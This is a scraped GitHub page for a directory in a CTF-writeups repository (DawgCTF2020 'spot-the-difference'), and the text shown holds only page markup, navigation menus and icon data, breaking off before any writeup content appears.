- CTF-writeups/DawgCTF2020/spot-the-difference at master · sponege/CTF-writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/DawgCTF2020/spot-the-difference at master · sponege/CTF-writeups" /><meta property="og:url" content="https://github.com/sponege/CTF-writeups" /><meta property="og:description" content="This repository contains all the writeups for all the CTFs I did. - CTF-writeups/DawgCTF2020/spot-the-difference at master · sponege/CTF-writeups" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/sponege/CTF-writeups git https://github.com/sponege/CTF-writeups.git"> <meta name="octolytics-dimension-user_id" content="52017056" /><meta name="octolytics-dimension-user_login" content="sponege" /><meta name="octolytics-dimension-repository_id" content="259153036" /><meta name="octolytics-dimension-repository_nwo" content="sponege/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="259153036" /><meta name="octolytics-dimension-repository_network_root_nwo" content="sponege/CTF-writeups" /> <link rel="canonical" href="https://github.com/sponege/CTF-writeups/tree/master/DawgCTF2020/spot-the-difference" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="259153036" data-scoped-search-url="/sponege/CTF-writeups/search" data-owner-scoped-search-url="/users/sponege/search" data-unscoped-search-url="/search" data-turbo="false" action="/sponege/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="vxSIRrax77URWLLQ1wWbe9RnXZuOlhF37nfDxmcmnkmFcsOD3sewXzcWLtpKWfFdRNqKvxkUQ43Plo1GGsqxjg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 